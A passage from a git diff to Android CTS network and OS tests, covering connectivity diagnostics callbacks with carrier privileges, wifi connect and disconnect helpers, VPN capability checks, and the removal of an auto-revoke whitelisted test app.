-    // for it.
-    private static final TestNetworkCallback TEST_NETWORK_CALLBACK = new TestNetworkCallback();
+    private static final String SHA_256 = "SHA-256";
+
+    private static final NetworkRequest CELLULAR_NETWORK_REQUEST =
+            new NetworkRequest.Builder().addTransportType(TRANSPORT_CELLULAR).build();
 
     private static final IBinder BINDER = new Binder();
 
     private Context mContext;
     private ConnectivityManager mConnectivityManager;
     private ConnectivityDiagnosticsManager mCdm;
+    private CarrierConfigManager mCarrierConfigManager;
+    private PackageManager mPackageManager;
+    private TelephonyManager mTelephonyManager;
+
+    // Callback used to keep TestNetworks up when there are no other outstanding NetworkRequests
+    // for it.
+    private TestNetworkCallback mTestNetworkCallback;
     private Network mTestNetwork;
+    private ParcelFileDescriptor mTestNetworkFD;
+
+    private List<TestConnectivityDiagnosticsCallback> mRegisteredCallbacks;
 
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getContext();
         mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
         mCdm = mContext.getSystemService(ConnectivityDiagnosticsManager.class);
+        mCarrierConfigManager = mContext.getSystemService(CarrierConfigManager.class);
+        mPackageManager = mContext.getPackageManager();
+        mTelephonyManager = mContext.getSystemService(TelephonyManager.class);
 
-        mConnectivityManager.requestNetwork(TEST_NETWORK_REQUEST, TEST_NETWORK_CALLBACK);
+        mTestNetworkCallback = new TestNetworkCallback();
+        mConnectivityManager.requestNetwork(TEST_NETWORK_REQUEST, mTestNetworkCallback);
+
+        mRegisteredCallbacks = new ArrayList<>();
     }
 
     @After
     public void tearDown() throws Exception {
-        mConnectivityManager.unregisterNetworkCallback(TEST_NETWORK_CALLBACK);
-
+        mConnectivityManager.unregisterNetworkCallback(mTestNetworkCallback);
         if (mTestNetwork != null) {
             runWithShellPermissionIdentity(() -> {
                 final TestNetworkManager tnm = mContext.getSystemService(TestNetworkManager.class);
                 tnm.teardownTestNetwork(mTestNetwork);
             });
+            mTestNetwork = null;
+        }
+
+        if (mTestNetworkFD != null) {
+            mTestNetworkFD.close();
+            mTestNetworkFD = null;
+        }
+
+        for (TestConnectivityDiagnosticsCallback cb : mRegisteredCallbacks) {
+            mCdm.unregisterConnectivityDiagnosticsCallback(cb);
         }
     }
 
     @Test
     public void testRegisterConnectivityDiagnosticsCallback() throws Exception {
-        mTestNetwork = setUpTestNetwork();
+        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+        mTestNetwork = mTestNetworkCallback.waitForAvailable();
 
-        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
-        mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+        final TestConnectivityDiagnosticsCallback cb =
+                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
 
         final String interfaceName =
                 mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
@@ -139,10 +191,101 @@
         cb.assertNoCallback();
     }
 
+    @SkipPresubmit(reason = "Flaky: b/159718782; add to presubmit after fixing")
+    @Test
+    public void testRegisterCallbackWithCarrierPrivileges() throws Exception {
+        assumeTrue(mPackageManager.hasSystemFeature(FEATURE_TELEPHONY));
+
+        final int subId = SubscriptionManager.getDefaultSubscriptionId();
+        if (subId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
+            fail("Need an active subscription. Please ensure that the device has working mobile"
+                    + " data.");
+        }
+
+        final CarrierConfigReceiver carrierConfigReceiver = new CarrierConfigReceiver(subId);
+        mContext.registerReceiver(
+                carrierConfigReceiver,
+                new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED));
+
+        final TestNetworkCallback testNetworkCallback = new TestNetworkCallback();
+
+        try {
+            doBroadcastCarrierConfigsAndVerifyOnConnectivityReportAvailable(
+                    subId, carrierConfigReceiver, testNetworkCallback);
+        } finally {
+            runWithShellPermissionIdentity(
+                    () -> mCarrierConfigManager.overrideConfig(subId, null),
+                    android.Manifest.permission.MODIFY_PHONE_STATE);
+            mConnectivityManager.unregisterNetworkCallback(testNetworkCallback);
+            mContext.unregisterReceiver(carrierConfigReceiver);
+        }
+    }
+
+    private String getCertHashForThisPackage() throws Exception {
+        final PackageInfo pkgInfo =
+                mPackageManager.getPackageInfo(
+                        mContext.getOpPackageName(), PackageManager.GET_SIGNATURES);
+        final MessageDigest md = MessageDigest.getInstance(SHA_256);
+        final byte[] certHash = md.digest(pkgInfo.signatures[0].toByteArray());
+        return IccUtils.bytesToHexString(certHash);
+    }
+
+    private void doBroadcastCarrierConfigsAndVerifyOnConnectivityReportAvailable(
+            int subId,
+            @NonNull CarrierConfigReceiver carrierConfigReceiver,
+            @NonNull TestNetworkCallback testNetworkCallback)
+            throws Exception {
+        final PersistableBundle carrierConfigs = new PersistableBundle();
+        carrierConfigs.putStringArray(
+                CarrierConfigManager.KEY_CARRIER_CERTIFICATE_STRING_ARRAY,
+                new String[] {getCertHashForThisPackage()});
+
+        runWithShellPermissionIdentity(
+                () -> {
+                    mCarrierConfigManager.overrideConfig(subId, carrierConfigs);
+                    mCarrierConfigManager.notifyConfigChangedForSubId(subId);
+                },
+                android.Manifest.permission.MODIFY_PHONE_STATE);
+
+        // TODO(b/157779832): This should use android.permission.CHANGE_NETWORK_STATE. However, the
+        // shell does not have CHANGE_NETWORK_STATE, so use CONNECTIVITY_INTERNAL until the shell
+        // permissions are updated.
+        runWithShellPermissionIdentity(
+                () -> mConnectivityManager.requestNetwork(
+                        CELLULAR_NETWORK_REQUEST, testNetworkCallback),
+                android.Manifest.permission.CONNECTIVITY_INTERNAL);
+
+        final Network network = testNetworkCallback.waitForAvailable();
+        assertNotNull(network);
+
+        assertTrue("Didn't receive broadcast for ACTION_CARRIER_CONFIG_CHANGED for subId=" + subId,
+                carrierConfigReceiver.waitForCarrierConfigChanged());
+        assertTrue("Don't have Carrier Privileges after adding cert for this package",
+                mTelephonyManager.createForSubscriptionId(subId).hasCarrierPrivileges());
+
+        // Wait for CarrierPrivilegesTracker to receive the ACTION_CARRIER_CONFIG_CHANGED
+        // broadcast. CPT then needs to update the corresponding DataConnection, which then
+        // updates ConnectivityService. Unfortunately, this update to the NetworkCapabilities in
+        // CS does not trigger NetworkCallback#onCapabilitiesChanged as changing the
+        // administratorUids is not a publicly visible change. In lieu of a better signal to
+        // detministically wait for, use Thread#sleep here.
+        // TODO(b/157949581): replace this Thread#sleep with a deterministic signal
+        Thread.sleep(DELAY_FOR_ADMIN_UIDS_MILLIS);
+
+        final TestConnectivityDiagnosticsCallback connDiagsCallback =
+                createAndRegisterConnectivityDiagnosticsCallback(CELLULAR_NETWORK_REQUEST);
+
+        final String interfaceName =
+                mConnectivityManager.getLinkProperties(network).getInterfaceName();
+        connDiagsCallback.expectOnConnectivityReportAvailable(
+                network, interfaceName, TRANSPORT_CELLULAR);
+        connDiagsCallback.assertNoCallback();
+    }
+
     @Test
     public void testRegisterDuplicateConnectivityDiagnosticsCallback() {
-        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
-        mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+        final TestConnectivityDiagnosticsCallback cb =
+                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
 
         try {
             mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
@@ -166,10 +309,11 @@
 
     @Test
     public void testOnConnectivityReportAvailable() throws Exception {
-        mTestNetwork = setUpTestNetwork();
+        final TestConnectivityDiagnosticsCallback cb =
+                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
 
-        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
-        mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+        mTestNetwork = mTestNetworkCallback.waitForAvailable();
 
         final String interfaceName =
                 mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
@@ -217,10 +361,11 @@
             long timestampMillis,
             @NonNull PersistableBundle extras)
             throws Exception {
-        mTestNetwork = setUpTestNetwork();
+        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+        mTestNetwork = mTestNetworkCallback.waitForAvailable();
 
-        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
-        mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+        final TestConnectivityDiagnosticsCallback cb =
+                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
 
         final String interfaceName =
                 mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
@@ -248,10 +393,11 @@
     }
 
     private void verifyOnNetworkConnectivityReported(boolean hasConnectivity) throws Exception {
-        mTestNetwork = setUpTestNetwork();
+        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+        mTestNetwork = mTestNetworkCallback.waitForAvailable();
 
-        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
-        mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+        final TestConnectivityDiagnosticsCallback cb =
+                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
 
         // onConnectivityReportAvailable always invoked when the test network is established
         final String interfaceName =
@@ -272,17 +418,12 @@
         cb.assertNoCallback();
     }
 
-    @NonNull
-    private Network waitForConnectivityServiceIdleAndGetNetwork() throws InterruptedException {
-        // Get a new Network. This requires going through the ConnectivityService thread. Once it
-        // completes, all previously enqueued messages on the ConnectivityService main Handler have
-        // completed.
-        final TestNetworkCallback callback = new TestNetworkCallback();
-        mConnectivityManager.requestNetwork(TEST_NETWORK_REQUEST, callback);
-        final Network network = callback.waitForAvailable();
-        mConnectivityManager.unregisterNetworkCallback(callback);
-        assertNotNull(network);
-        return network;
+    private TestConnectivityDiagnosticsCallback createAndRegisterConnectivityDiagnosticsCallback(
+            NetworkRequest request) {
+        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
+        mCdm.registerConnectivityDiagnosticsCallback(request, INLINE_EXECUTOR, cb);
+        mRegisteredCallbacks.add(cb);
+        return cb;
     }
 
     /**
@@ -290,16 +431,16 @@
      * to the Network being validated.
      */
     @NonNull
-    private Network setUpTestNetwork() throws Exception {
+    private TestNetworkInterface setUpTestNetwork() throws Exception {
         final int[] administratorUids = new int[] {Process.myUid()};
-        runWithShellPermissionIdentity(
+        return callWithShellPermissionIdentity(
                 () -> {
                     final TestNetworkManager tnm =
                             mContext.getSystemService(TestNetworkManager.class);
                     final TestNetworkInterface tni = tnm.createTunInterface(new LinkAddress[0]);
                     tnm.setupTestNetwork(tni.getInterfaceName(), administratorUids, BINDER);
+                    return tni;
                 });
-        return waitForConnectivityServiceIdleAndGetNetwork();
     }
 
     private static class TestConnectivityDiagnosticsCallback
@@ -324,13 +465,18 @@
 
         public void expectOnConnectivityReportAvailable(
                 @NonNull Network network, @NonNull String interfaceName) {
+            expectOnConnectivityReportAvailable(network, interfaceName, TRANSPORT_TEST);
+        }
+
+        public void expectOnConnectivityReportAvailable(
+                @NonNull Network network, @NonNull String interfaceName, int transportType) {
             final ConnectivityReport result =
                     (ConnectivityReport) mHistory.poll(CALLBACK_TIMEOUT_MILLIS, x -> true);
             assertEquals(network, result.getNetwork());
 
             final NetworkCapabilities nc = result.getNetworkCapabilities();
             assertNotNull(nc);
-            assertTrue(nc.hasTransport(TRANSPORT_TEST));
+            assertTrue(nc.hasTransport(transportType));
             assertNotNull(result.getLinkProperties());
             assertEquals(interfaceName, result.getLinkProperties().getInterfaceName());
 
@@ -384,4 +530,43 @@
                     mHistory.poll(NO_CALLBACK_INVOKED_TIMEOUT, x -> true));
         }
     }
+
+    private class CarrierConfigReceiver extends BroadcastReceiver {
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private final int mSubId;
+
+        CarrierConfigReceiver(int subId) {
+            mSubId = subId;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (!CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+                return;
+            }
+
+            final int subId =
+                    intent.getIntExtra(
+                            CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX,
+                            SubscriptionManager.INVALID_SUBSCRIPTION_ID);
+            if (mSubId != subId) return;
+
+            final PersistableBundle carrierConfigs = mCarrierConfigManager.getConfigForSubId(subId);
+            if (!CarrierConfigManager.isConfigForIdentifiedCarrier(carrierConfigs)) return;
+
+            final String[] certs =
+                    carrierConfigs.getStringArray(
+                            CarrierConfigManager.KEY_CARRIER_CERTIFICATE_STRING_ARRAY);
+            try {
+                if (ArrayUtils.contains(certs, getCertHashForThisPackage())) {
+                    mLatch.countDown();
+                }
+            } catch (Exception e) {
+            }
+        }
+
+        boolean waitForCarrierConfigChanged() throws Exception {
+            return mLatch.await(CARRIER_CONFIG_CHANGED_BROADCAST_TIMEOUT, TimeUnit.MILLISECONDS);
+        }
+    }
 }
diff --git a/tests/tests/net/src/android/net/cts/DnsResolverTest.java b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
index 28753ff..4acbbcf 100644
--- a/tests/tests/net/src/android/net/cts/DnsResolverTest.java
+++ b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
@@ -30,7 +30,6 @@
 import android.content.ContentResolver;
 import android.net.ConnectivityManager;
 import android.net.ConnectivityManager.NetworkCallback;
-import android.net.DnsPacket;
 import android.net.DnsResolver;
 import android.net.LinkProperties;
 import android.net.Network;
@@ -47,6 +46,9 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.net.module.util.DnsPacket;
+import com.android.testutils.SkipPresubmit;
+
 import java.net.Inet4Address;
 import java.net.Inet6Address;
 import java.net.InetAddress;
@@ -584,6 +586,7 @@
         doTestContinuousQueries(mExecutor);
     }
 
+    @SkipPresubmit(reason = "Flaky: b/159762682; add to presubmit after fixing")
     public void testContinuousQueriesInline() throws Exception {
         doTestContinuousQueries(mExecutorInline);
     }
diff --git a/tests/tests/net/src/android/net/cts/Ikev2VpnTest.java b/tests/tests/net/src/android/net/cts/Ikev2VpnTest.java
index dff2581..9eab024 100644
--- a/tests/tests/net/src/android/net/cts/Ikev2VpnTest.java
+++ b/tests/tests/net/src/android/net/cts/Ikev2VpnTest.java
@@ -16,6 +16,7 @@
 
 package android.net.cts;
 
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
 import static android.net.NetworkCapabilities.TRANSPORT_VPN;
 import static android.net.cts.util.CtsNetUtils.TestNetworkCallback;
 
@@ -40,6 +41,7 @@
 import android.net.IpSecAlgorithm;
 import android.net.LinkAddress;
 import android.net.Network;
+import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
 import android.net.ProxyInfo;
 import android.net.TestNetworkInterface;
@@ -47,6 +49,7 @@
 import android.net.VpnManager;
 import android.net.cts.util.CtsNetUtils;
 import android.os.Build;
+import android.os.Process;
 import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.InstrumentationRegistry;
@@ -56,6 +59,7 @@
 import com.android.testutils.DevSdkIgnoreRule.IgnoreUpTo;
 import com.android.testutils.DevSdkIgnoreRunner;
 
+import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -175,6 +179,12 @@
         mUserCertKey = generateRandomCertAndKeyPair();
     }
 
+    @After
+    public void tearDown() {
+        setAppop(AppOpsManager.OP_ACTIVATE_VPN, false);
+        setAppop(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, false);
+    }
+
     /**
      * Sets the given appop using shell commands
      *
@@ -419,6 +429,11 @@
         final Network vpnNetwork = cb.currentNetwork;
         assertNotNull(vpnNetwork);
 
+        final NetworkCapabilities caps = sCM.getNetworkCapabilities(vpnNetwork);
+        assertTrue(caps.hasTransport(TRANSPORT_VPN));
+        assertTrue(caps.hasCapability(NET_CAPABILITY_INTERNET));
+        assertEquals(Process.myUid(), caps.getOwnerUid());
+
         sVpnMgr.stopProvisionedVpnProfile();
         cb.waitForLost();
         assertEquals(vpnNetwork, cb.lastLostNetwork);
diff --git a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
index 985e313..6d3db89 100644
--- a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
+++ b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
@@ -68,7 +68,6 @@
         mCM = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
         mCR = getContext().getContentResolver();
         mCtsNetUtils = new CtsNetUtils(getContext());
-        mCtsNetUtils.storePrivateDnsSetting();
     }
 
     @Override
@@ -223,6 +222,7 @@
 
     @AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
     public void testResNApiNXDomainPrivateDns() throws InterruptedException {
+        mCtsNetUtils.storePrivateDnsSetting();
         // Enable private DNS strict mode and set server to dns.google before doing NxDomain test.
         // b/144521720
         try {
diff --git a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
index b1f3602..85d2113 100644
--- a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
+++ b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
@@ -157,8 +157,36 @@
         }
     }
 
-    /** Enable WiFi and wait for it to become connected to a network. */
+    /**
+     * Enable WiFi and wait for it to become connected to a network.
+     *
+     * This method expects to receive a legacy broadcast on connect, which may not be sent if the
+     * network does not become default or if it is not the first network.
+     */
     public Network connectToWifi() {
+        return connectToWifi(true /* expectLegacyBroadcast */);
+    }
+
+    /**
+     * Enable WiFi and wait for it to become connected to a network.
+     *
+     * A network is considered connected when a {@link NetworkCallback#onAvailable(Network)}
+     * callback is received.
+     */
+    public Network ensureWifiConnected() {
+        return connectToWifi(false /* expectLegacyBroadcast */);
+    }
+
+    /**
+     * Enable WiFi and wait for it to become connected to a network.
+     *
+     * @param expectLegacyBroadcast Whether to check for a legacy CONNECTIVITY_ACTION connected
+     *                              broadcast. The broadcast is typically not sent if the network
+     *                              does not become the default network, and is not the first
+     *                              network to appear.
+     * @return The network that was newly connected.
+     */
+    private Network connectToWifi(boolean expectLegacyBroadcast) {
         final TestNetworkCallback callback = new TestNetworkCallback();
         mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
         Network wifiNetwork = null;
@@ -170,15 +198,16 @@
         mContext.registerReceiver(receiver, filter);
 
         boolean connected = false;
+        final String err = "Wifi must be configured to connect to an access point for this test.";
         try {
             clearWifiBlacklist();
             SystemUtil.runShellCommand("svc wifi enable");
             SystemUtil.runWithShellPermissionIdentity(() -> mWifiManager.reconnect(),
                     NETWORK_SETTINGS);
-            // Ensure we get both an onAvailable callback and a CONNECTIVITY_ACTION.
+            // Ensure we get an onAvailable callback and possibly a CONNECTIVITY_ACTION.
             wifiNetwork = callback.waitForAvailable();
-            assertNotNull(wifiNetwork);
-            connected = receiver.waitForState();
+            assertNotNull(err, wifiNetwork);
+            connected = !expectLegacyBroadcast || receiver.waitForState();
         } catch (InterruptedException ex) {
             fail("connectToWifi was interrupted");
         } finally {
@@ -186,8 +215,7 @@
             mContext.unregisterReceiver(receiver);
         }
 
-        assertTrue("Wifi must be configured to connect to an access point for this test.",
-                connected);
+        assertTrue(err, connected);
         return wifiNetwork;
     }
 
@@ -204,8 +232,47 @@
         });
     }
 
-    /** Disable WiFi and wait for it to become disconnected from the network. */
+    /**
+     * Disable WiFi and wait for it to become disconnected from the network.
+     *
+     * This method expects to receive a legacy broadcast on disconnect, which may not be sent if the
+     * network was not default, or was not the first network.
+     *
+     * @param wifiNetworkToCheck If non-null, a network that should be disconnected. This network
+     *                           is expected to be able to establish a TCP connection to a remote
+     *                           server before disconnecting, and to have that connection closed in
+     *                           the process.
+     */
     public void disconnectFromWifi(Network wifiNetworkToCheck) {
+        disconnectFromWifi(wifiNetworkToCheck, true /* expectLegacyBroadcast */);
+    }
+
+    /**
+     * Disable WiFi and wait for it to become disconnected from the network.
+     *
+     * @param wifiNetworkToCheck If non-null, a network that should be disconnected. This network
+     *                           is expected to be able to establish a TCP connection to a remote
+     *                           server before disconnecting, and to have that connection closed in
+     *                           the process.
+     */
+    public void ensureWifiDisconnected(Network wifiNetworkToCheck) {
+        disconnectFromWifi(wifiNetworkToCheck, false /* expectLegacyBroadcast */);
+    }
+
+    /**
+     * Disable WiFi and wait for it to become disconnected from the network.
+     *
+     * @param wifiNetworkToCheck If non-null, a network that should be disconnected. This network
+     *                           is expected to be able to establish a TCP connection to a remote
+     *                           server before disconnecting, and to have that connection closed in
+     *                           the process.
+     * @param expectLegacyBroadcast Whether to check for a legacy CONNECTIVITY_ACTION disconnected
+     *                              broadcast. The broadcast is typically not sent if the network
+     *                              was not the default network and not the first network to appear.
+     *                              The check will always be skipped if the device was not connected
+     *                              to wifi in the first place.
+     */
+    private void disconnectFromWifi(Network wifiNetworkToCheck, boolean expectLegacyBroadcast) {
         final TestNetworkCallback callback = new TestNetworkCallback();
         mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
 
@@ -238,6 +305,8 @@
                 // Ensure we get both an onLost callback and a CONNECTIVITY_ACTION.
                 assertNotNull("Did not receive onLost callback after disabling wifi",
                         callback.waitForLost());
+            }
+            if (wasWifiConnected && expectLegacyBroadcast) {
                 assertTrue("Wifi failed to reach DISCONNECTED state.", receiver.waitForState());
             }
         } catch (InterruptedException ex) {
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index b118392..e04630b 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -26,6 +26,7 @@
         "truth-prebuilt",
         "guava",
         "junit",
+        "CtsMockInputMethodLib"
     ],
     jni_uses_platform_apis: true,
     jni_libs: [
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index 07de155..5a53fa5 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -48,6 +48,7 @@
     <uses-permission android:name="android.permission.POWER_SAVER" />
     <uses-permission android:name="android.permission.INSTALL_DYNAMIC_SYSTEM" />
     <uses-permission android:name="android.permission.MANAGE_COMPANION_DEVICES" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
     <uses-permission android:name="android.os.cts.permission.TEST_GRANTED" />
 
diff --git a/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml b/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml
index 202b95c..bed0bf0 100644
--- a/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml
+++ b/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml
@@ -22,7 +22,7 @@
 
     <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
 
-    <application android:autoRevokePermissions="discouraged">
+    <application>
         <activity android:name="android.os.cts.autorevokedummyapp.MainActivity"
                   android:exported="true"
                   android:visibleToInstantApps="true" >
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/AndroidManifest.xml b/tests/tests/os/AutoRevokeWhitelistedDummyApp/AndroidManifest.xml
deleted file mode 100644
index 5c253ee..0000000
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/AndroidManifest.xml
+++ /dev/null
@@ -1,36 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--s
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.os.cts.autorevokewhitelisteddummyapp">
-
-    <uses-permission android:name="android.permission.READ_CALENDAR" />
-
-    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
-
-    <application android:autoRevokePermissions="disallowed">
-        <activity android:name="android.os.cts.autorevokewhitelisteddummyapp.MainActivity"
-                  android:exported="true"
-                  android:visibleToInstantApps="true" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
-
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/src/android/os/cts/autorevokewhitelisteddummyapp/MainActivity.kt b/tests/tests/os/AutoRevokeWhitelistedDummyApp/src/android/os/cts/autorevokewhitelisteddummyapp/MainActivity.kt
deleted file mode 100644
index 6e59224..0000000
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/src/android/os/cts/autorevokewhitelisteddummyapp/MainActivity.kt
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.os.cts.autorevokewhitelisteddummyapp
-
-import android.app.Activity
-import android.os.Bundle
-import android.widget.LinearLayout
-import android.widget.LinearLayout.VERTICAL
-import android.widget.TextView
-
-class MainActivity : Activity() {
-
-    val whitelistStatus by lazy { TextView(this) }
-
-    override fun onCreate(savedInstanceState: Bundle?) {
-        super.onCreate(savedInstanceState)
-
-        setContentView(LinearLayout(this).apply {
-            orientation = VERTICAL
-
-            addView(whitelistStatus)
-        })
-
-        requestPermissions(arrayOf("android.permission.READ_CALENDAR"), 0)
-    }
-
-    override fun onResume() {
-        super.onResume()
-
-        whitelistStatus.text = "Auto-revoke whitelisted: " + packageManager.isAutoRevokeWhitelisted
-    }
-}
diff --git a/tests/tests/os/CtsOsTestCases.xml b/tests/tests/os/CtsOsTestCases.xml
index d1ab773..7ce85d6 100644
--- a/tests/tests/os/CtsOsTestCases.xml
+++ b/tests/tests/os/CtsOsTestCases.xml
@@ -22,6 +22,15 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsOsTestCases.apk" />
     </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="force-install-mode" value="FULL"/>
+        <option name="test-file-name" value="CtsMockInputMethod.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
+        <option name="screen-always-on" value="on" />
+    </target_preparer>
+
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.os.cts" />
         <option name="runtime-hint" value="3m15s" />
@@ -36,8 +45,5 @@
     <!-- Load additional APKs onto device -->
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
-        <option
-            name="push"
-            value="CtsAutoRevokeWhitelistedDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeWhitelistedDummyApp.apk" />
     </target_preparer>
 </configuration>
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index d18479d51..9bebccf 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -17,6 +17,7 @@
 package android.os.cts
 
 import android.content.Intent
+import android.content.Intent.ACTION_AUTO_REVOKE_PERMISSIONS
 import android.content.Intent.FLAG_ACTIVITY_NEW_TASK
 import android.content.pm.PackageManager
 import android.content.pm.PackageManager.PERMISSION_DENIED
@@ -24,7 +25,6 @@
 import android.net.Uri
 import android.platform.test.annotations.AppModeFull
 import android.provider.DeviceConfig
-import android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.BySelector
 import android.support.test.uiautomator.UiObject2
@@ -45,10 +45,8 @@
 import java.util.regex.Pattern
 
 private const val APK_PATH = "/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk"
-private const val APK_WHITELISTED_PATH =
-        "/data/local/tmp/cts/os/CtsAutoRevokeWhitelistedDummyApp.apk"
 private const val APK_PACKAGE_NAME = "android.os.cts.autorevokedummyapp"
-private const val APK_WHITELISTED_PACKAGE_NAME = "android.os.cts.autorevokewhitelisteddummyapp"
+private const val READ_CALENDAR = "android.permission.READ_CALENDAR"
 
 /**
  * Test for auto revoke
@@ -153,28 +151,6 @@
     }
 
     @AppModeFull(reason = "Uses separate apps for testing")
-    fun testAutoRevoke_manifestWhitelisting() {
-        wakeUpScreen()
-        withUnusedThresholdMs(5L) {
-            withDummyApp(APK_WHITELISTED_PATH, APK_WHITELISTED_PACKAGE_NAME) {
-                // Setup
-                startApp(APK_WHITELISTED_PACKAGE_NAME)
-                clickPermissionAllow()
-                assertWhitelistState(true)
-
-                // Run
-                goHome()
-                Thread.sleep(20L)
